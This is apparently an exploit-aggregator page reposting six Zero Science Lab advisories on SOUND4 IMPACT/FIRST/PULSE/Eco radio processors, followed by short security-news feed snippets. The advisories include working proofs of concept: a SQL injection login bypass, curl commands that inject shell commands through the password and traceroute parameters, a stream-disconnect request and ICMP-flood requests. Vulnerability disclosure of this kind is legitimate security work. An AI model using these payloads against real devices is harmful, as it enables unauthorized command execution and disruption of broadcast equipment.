Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Insufficient Session Expiration

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffers from an insufficient session expiration vulnerability.

SHA-256 | ff2a1471eedafd1bd1327cc46f0166d284f2485f09142cda34a6ae43f1ffe502Download SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: 4.1.102

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers an insufficient session expiration. This
occurs when the web application permits an attacker to reuse old session
credentials or session IDs for authorization. Insufficient session expiration
increases the device's exposure to attacks that can steal or reuse user's
session identifiers.

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5724
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5724.php
26.09.2022

--
Session valid after 96 hours:

POST /checklogin.php HTTP/1.1
Host: RADIO
Cookie: PHPSESSID=q9rooqkl3kl20aianmveimu23q; monitor-mp3-bitrate=128; monitor-volume=1; settings_accordion_active=3; netdiagsaccordion_last=0
Content-Length: 34
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://RADIO
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://RADIO/linkandshare.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

session=q9rooqkl3kl20aianmveimu23q
HTTP/1.1 200 OK
Date: Sat, 03 Jan 1970 11:13:19 GMT
Server: Apache/2.4.25 (Unix) OpenSSL/1.0.2k PHP/7.1.1
X-Powered-By: PHP/7.1.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: User-Agent
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

0 Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x password SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a password SQL injection vulnerability that allows for authentication bypass.

SHA-256 | 570c92684bee96b2173b72286ae8616f4c83d4410e62a0cd97cfd31cc7c71510

Download

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers from an SQL Injection vulnerability. Input
passed through the 'password' POST parameter in 'index.php' is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL code
and bypass the authentication mechanism.

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5726
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5726.php
26.09.2022

--
POST /index.php HTTP/1.1

username=t00t&password='+joxy--+z

Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Disconnect Webmonitor User Denial Of Service

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below allows an unauthenticated attacker to disconnect the current monitoring user from listening/monitoring and takeover the radio stream on a specific channel.

SHA-256 | 51023384825dc840abd709ddec900a91de151bef787b63c5fbd8b007ce3c013d

Download

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application allows an unauthenticated attacker to disconnect the
current monitoring user from listening/monitoring and takeover the radio
stream on a specific channel.

------------------------------------------------------------------------
/var/www/killffmpeg.php:
------------------------

01:
02: $ret=0;
03: exec("bash -c 'kill $(cat /tmp/webplay.pid)'",$out,$ret);
04: echo $ret;
05: ?>
------------------------------------------------------------------------

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5725
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5725.php
26.09.2022

--
> curl -sko -nul https://RADIO/killffmpeg.php

Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x password Command Injection

https://3.bp.blogspot.com/-D2NV3HnXxpM/WWlu9YoBNhI/AAAAAAAAIJs/rLrqFdeLLWYSGUQPyN0O7DuhnXu7T_FjQCLcBGAs/s1600/h114.png
SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a password related unauthenticated command injection vulnerability.

SHA-256 | 87e9bc33ec95ac9d66ff2caa9f5d4d61dc4d76eb1934816979fa04a477330ee1

Download

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers from an unauthenticated OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell
commands through the 'password' HTTP POST parameter through index.php and
login.php script.

========================================================================
/var/www/login.php:
-------------------
09: if (isset($_POST['username']) && isset($_POST['password'])) {
10:
11: $ret = -1;
12: // remarque: Check Password for broken, only admin/admin as valid user/password
13: exec('echo ' . $_POST['password'] . ' | /opt/sound4/sound4server _check_pwd_ ' .'"'.$_POST['username'].'";',$out,$ret);
========================================================================

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5738
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5738.php
26.09.2022

--
> curl --fail -XPOST -sko nul https://RADIOGUGU/index.php --data "username=ZSL&password=`id>/var/www/g`" && curl -sk https://RADIOGUGU/g
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)

Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x traceroute.php Conditional Command Injection

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a conditional command injection vulnerability in traceroute.php.

SHA-256 | 493fb94bb96a88e40abd33e5eccebbff52f80b0de903d6bad482c12681edc5d7Download SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: This vulnerability allows a local authenticated user to create a
file in the /tmp directory that contains malicious commands. The file
must have the filename ending with .traceroute.pid, and the commands in
the file can only be executed once by an external unauthenticated attacker.
By calling the vulnerable script and making a single HTTP POST request,
the attacker can gain command execution on the system. After the request
is made, the file containing the malicious commands will be deleted.

-------------------------------------------------------------------------
/var/www/traceroute.php:
------------------------
02: if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['traceroute_host']) && isset($_POST['networkid'])) {
03: $pidfilename="/tmp/" . $_POST['networkid'] . ".traceroute.pid";
04: if( file_exists($pidfilename)) {
05: $procid=file_get_contents($pidfilename);
06: shell_exec("pkill -P ".$procid);
07: }
...
...
29: unlink($pidfilename);
30: exit();
-------------------------------------------------------------------------

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5740
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5740.php
26.09.2022

--
#On the server
> echo ";id>/var/www/b" > /tmp/251.traceroute.pid

#External
> curl -XPOST -sk https://RADIO/traceroute.php --data "traceroute_host=t00t&networkid=251"
> curl -XPOST -sk https://RADIO/b
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data) Source:packetstormsecurity.com

Exploit Collector
SOUND4 IMPACT/FIRST/PULSE/Eco 2.x ICMP Flood Attack

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below allow an unauthenticated attacker to send network signals to an arbitrary target host that can be abused in an ICMP flooding attack. This includes the utilization of the ping, traceroute and nslookup commands through ping.php, traceroute.php and dns.php respectively.

SHA-256 | 81c669280d4737e923eb0b0a5259214bbdd51f21c8109143eeadbef36025d06c

Download

SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x
Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application allows an unauthenticated attacker to send network
signals to an arbitrary target host that can be abused in an ICMP flooding
attack. This includes the utilisation of the ping, traceroute and nslookup
commands through ping.php, traceroute.php and dns.php respectively.

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2022-5728
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5728.php
26.09.2022

--
> curl -XPOST -sk https://RADIO/ping.php --data "ping_host=localhost&networkid=251" # ping -c 3 -W 5 %s
> curl -XPOST -sk https://RADIO/traceroute.php --data "traceroute_host=localhost&networkid=251"
> curl -XPOST -sk https://RADIO/dns.php --data "dns_host=localhost&networkid=251"

Source:packetstormsecurity.com

Hacking on Medium
TryHackMe Advent of Cyber [Day 15]-> Secure Coding

https://cdn-images-1.medium.com/max/1980/0*-946Sweclpi837hI.png
In 2021, a major online retailer suffered a massive cyber attack that compromised the personal information of millions of customers. The…

Continue reading on Medium »

Hacking on Medium
Does it possible to get hacked while charging?

https://cdn-images-1.medium.com/max/1200/1*Gz965OLKyFH1AbQKsx0_YA.jpeg
Recently, I watched the news regarding the blog title. They are still being debuting about this kind of Hacking. Does it possible?

Continue reading on Medium »

Hacking on Medium
Hackers usan archivos SVG para meter el malware QBot a sistemas Windows

https://cdn-images-1.medium.com/max/1769/0*rpL1rse9COe0OV0K
Las campañas de phishing que involucran el malware Qakbot utilizan imágenes de gráficos vectoriales escalables ( SVG ) incrustadas en…

Continue reading on Medium »

Hacking on Medium
Metasploit framework avialble below-

Exploit — An exploit module executes a sequence of commands to target a specific vulnerability found in a system or application. An…

Continue reading on Medium »

Hacking on Medium
"Unlock the potential of your Android device with rooting - but proceed with caution."

https://cdn-images-1.medium.com/max/2600/1*xZcf6EF1bPfP6Q-vVSr7qw.png
Android rooting is the process of allowing users of Android devices to attain privileged control (known as root access) over various…

Continue reading on Medium »

Dark Reading: Attacks/Breaches
Axonius Bolsters SaaS Management Offering With New Behavioral Analytics and SaaS User-Device Association Capabilities to Help Teams Address SaaS Application Risk

New features bring greater visibility and context into SaaS applications access and activity.

Dark Reading: Attacks/Breaches
Stolen Data on 80K+ Members of FBI-Run InfraGard Reportedly for Sale on Dark Web Forum

InfraGard's members include key security decision-makers and stakeholders from all 16 US civilian critical-infrastructure sectors.

Dark Reading: Attacks/Breaches
Meta Ponies Up $300K Bounty for Zero-Click Mobile RCE Bugs in Facebook

Facebook's parent company has also expanded bug-bounty payouts to include Oculus and other "metaverse" gadgets for AR/VR.